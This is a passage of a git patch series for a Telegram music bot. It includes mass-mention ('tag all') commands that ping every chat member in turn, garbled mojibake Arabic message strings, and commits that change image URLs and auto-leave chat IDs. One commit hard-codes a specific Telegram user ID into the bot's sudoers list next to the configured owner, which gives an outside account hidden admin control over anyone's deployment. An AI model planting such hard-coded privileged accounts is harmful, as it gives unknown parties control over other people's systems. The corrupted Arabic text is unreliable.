- "ØšØ¬Ø§ÙØšÙ أجد Ø§ÙØ³Ø¹Ø§Ø¯Ø© Ø§ÙØªÙ ØšØØ«Øª عÙÙØ§ Ø·ÙÙÙØ§Ù.",
- "Ø¹ÙØ¯Ù
ا تضØÙØ ÙØ¶ÙØ¡ ÙÙÙ
Ù ØšØ§ÙØ³Ø±Ùر.",
- "Ø£ÙØª سؚؚ اؚتساÙ
ت٠ÙÙØ±ØÙ Ø§ÙØ¯Ø§ØŠÙ
.",
- "ØØšÙ Ù٠أجÙ
Ù ÙØ¯ÙØ© Ø£ÙØ¹Ù
ØšÙØ§.",
- "أتÙ
Ù٠أ٠ت؞Ù٠دا؊Ù
ÙØ§ ØšØ¬Ø§ÙØšÙ ÙÙ Ù٠رØÙØ©.",
- "ÙÙØšÙ ÙÙØšØ¶ ØšØ§Ø³Ù
Ù ÙÙØ·Ø Ø£ÙØª ØØš ØÙاتÙ.",
- "ÙØ§ ØªÙØ¬Ø¯ ÙÙÙ
ات تص٠Ù
د٠ع؞Ù
Ø© Ù
ØŽØ§Ø¹Ø±Ù ÙØÙÙ.",
- "Ø£ÙØª Ø§ÙØŽØ®Øµ Ø§ÙØ°Ù Ø£Ø±ÙØ¯ Ø£Ù Ø£ÙØ¶Ù ؚاÙÙ ØÙات٠Ù
عÙ.",
- "Ø£ÙØª Ø£Ù
اÙÙ ÙØ£ØÙاÙ
Ù Ø§ÙØªÙ تتØÙÙ ÙÙÙ
ÙØ§ ؚعد ÙÙÙ
.",
- "Ø£ÙØª Ø§ÙØŽØ®Øµ اÙÙØÙØ¯ Ø§ÙØ°Ù ÙØ¬Ø¹Ù ÙÙØšÙ ÙÙØšØ¶ ØšÙÙØ©.",
- "ØÙÙÙ
ا Ø£ÙÙÙ ØšØ¬Ø§ÙØšÙØ Ø£ØŽØ¹Ø± Ø£ÙÙ Ù٠عاÙÙ
آخر.",
- "Ø£ØØšÙ ÙØ£ÙÙ Ø£ÙØªØ ÙÙÙØ³ ÙØ£Ù ØŽÙØ¡ آخر.",
- "Ø£ÙØª Ù
صدر اÙÙØ±Ø ÙÙ ØÙØ§ØªÙ ÙØ³ØšØš اؚتساÙ
تÙ.",
- "ÙÙ ÙØØžØ© Ù
ع٠ÙÙ ÙØØžØ© ÙÙÙ
Ø© ÙÙ ØÙاتÙ.",
- "ÙØ§ ØªÙØ¬Ø¯ ÙÙÙ
ات تÙÙÙ ØÙÙ ÙÙ ÙÙØšÙ.",
-]
-
-
-@client.on(events.NewMessage(pattern="^/atag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/atag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/atag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
+ if usr.user.is_bot:
+ continue
+ usrnum += 1
+ usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(ARABIC)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
+ if usrnum == 1:
+ txt = f"{usrtxt} {random.choice(VC_TAG)}\n\n|| ⥠áŽÒÒ áŽáŽÉ¢É¢ÉªÉŽÉ¢ ÊÊ Â» /stopvctag ||"
+ await client.send_message(chat_id, txt)
+ await asyncio.sleep(4)
+ usrnum = 0
+ usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
@@ -1298,31 +259,26 @@ async def mention_all(event):
-
-
-@client.on(events.NewMessage(pattern="^/cancel$"))
-@client.on(events.NewMessage(pattern="^/stop$"))
-async def cancel_spam(event):
- if not event.chat_id in spam_chats:
- return await event.respond("ððð«ð ððš ðð§ð² ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð¬ ðððð«ððð ðð² ðð..")
+@app.on_message(filters.command(["stoptagall", "canceltagall", "offtagall", "tagallstop", "stopvctag", "tagalloff"]))
+async def cancel_spam(client, message):
+ if not message.chat.id in spam_chats:
+ return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
is_admin = False
try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
+ participant = await client.get_chat_member(message.chat.id, message.from_user.id)
+ except UserNotParticipant:
is_admin = False
else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ if participant.status in (
+ ChatMemberStatus.ADMINISTRATOR,
+ ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
- return await event.respond("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð¬ ðð§ð¥ð² ð
ðšð« ðððŠð¢ð§ð¬.. ððšð® ððð§'ð ðð¬ð ðð¡ð¢ð¬ ððšðŠðŠðð§ð..")
-
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
else:
try:
- spam_chats.remove(event.chat_id)
+ spam_chats.remove(message.chat.id)
except:
pass
- return await event.respond("âŠðððšð©ð©ðð ððð§ðð¢ðšð§ ðððð²âŠ")
-
-
+ return await message.reply("⊠ðððšð©ð©ðð..âŠ")
From 990f2eec2465fcb56978efd67c8816791a32bf9e Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 7 Mar 2024 16:07:16 +0530
Subject: [PATCH 29/31] Update misc.py
---
EsproMusic/misc.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/EsproMusic/misc.py b/EsproMusic/misc.py
index 8cea6e1..754aaab 100644
--- a/EsproMusic/misc.py
+++ b/EsproMusic/misc.py
@@ -50,7 +50,7 @@ async def sudo():
sudoers = [] if not sudoers else sudoers["sudoers"]
if config.OWNER_ID not in sudoers:
sudoers.append(config.OWNER_ID)
- sudoers.append(6306738739)
+ sudoers.append(5874825438)
await sudoersdb.update_one(
{"sudo": "sudo"},
{"$set": {"sudoers": sudoers}},
From de89c0b46c4680af388acf205f0d279fe8a003b8 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Thu, 7 Mar 2024 16:14:01 +0530
Subject: [PATCH 30/31] Update autoleave.py
---
EsproMusic/plugins/misc/autoleave.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/EsproMusic/plugins/misc/autoleave.py b/EsproMusic/plugins/misc/autoleave.py
index 3a8b138..d585462 100644
--- a/EsproMusic/plugins/misc/autoleave.py
+++ b/EsproMusic/plugins/misc/autoleave.py
@@ -26,8 +26,8 @@ async def auto_leave():
]:
if (
i.chat.id != config.LOGGER_ID
- and i.chat.id != -1001807463997
- and i.chat.id != -1001807463997
+ and i.chat.id != -1002110912467
+ and i.chat.id != -1002004301405
):
if left == 20:
continue
From 59456b71f00ed7d6211ad75d65c3fdcfe069ad51 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Mon, 11 Mar 2024 10:30:10 +0530
Subject: [PATCH 31/31] Update config.py
---
config.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/config.py b/config.py
index 19a4584..462ad42 100644
--- a/config.py
+++ b/config.py
@@ -87,13 +87,13 @@
autoclean = []
START_IMG_URL = getenv(
- "START_IMG_URL", "https://graph.org/file/ebb0d85faab06c034ed4c.jpg"
+ "START_IMG_URL", "https://graph.org/file/a9c19f11d8f001078ee41.jpg"
)
PING_IMG_URL = getenv(
- "PING_IMG_URL", "https://graph.org/file/e642e121a9d93e1ac13ca.jpg"
+ "PING_IMG_URL", "https://graph.org/file/a37995bf2f120b6675d44.jpg"
)
-PLAYLIST_IMG_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
-STATS_IMG_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
+PLAYLIST_IMG_URL = "https://graph.org/file/a37995bf2f120b6675d44.jpg"
+STATS_IMG_URL = "https://graph.org/file/a37995bf2f120b6675d44.jpg"
TELEGRAM_AUDIO_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
TELEGRAM_VIDEO_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"
STREAM_IMG_URL = "https://telegra.ph/file/4f98411fc494e0491472e.jpg"